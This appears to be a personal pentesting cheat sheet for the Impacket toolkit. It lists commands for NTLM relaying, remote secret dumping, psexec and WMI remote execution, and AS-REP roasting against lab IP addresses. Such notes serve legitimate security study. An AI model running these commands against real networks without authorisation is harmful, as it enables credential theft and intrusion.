pentesting, updated

Impacket

Python library and script collection for low-level Windows/AD protocol manipulation — relaying, secret dumping, remote execution.

What it’s for

Run the individual attack primitives (relay, dump secrets, execute remotely) that most Windows/AD attack chains are built from.

Install

pipx install impacket

Common commands

impacket-ntlmrelayx -t smb://10.10.10.6 -smb2support       # relay captured auth to a target
impacket-secretsdump jdoe:Password1@10.10.10.5                # dump SAM/LSA secrets remotely
impacket-psexec jdoe:Password1@10.10.10.5                     # remote command execution (needs admin)
impacket-wmiexec jdoe:Password1@10.10.10.5                    # quieter remote execution via WMI
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass  # AS-REP roasting

Useful flags

ScriptEffect
ntlmrelayxRelay captured NTLM authentication
secretsdumpDump credentials/hashes from a host
psexec / wmiexecRemote command execution with valid creds
GetNPUsers / GetUserSPNsAS-REP / Kerberoasting

Notes

One of the most reused toolkits across both the Network and future Active Directory disciplines — worth being fluent in beyond just these examples.

Used in

§ home
~/knubertus/home/
1,1 Top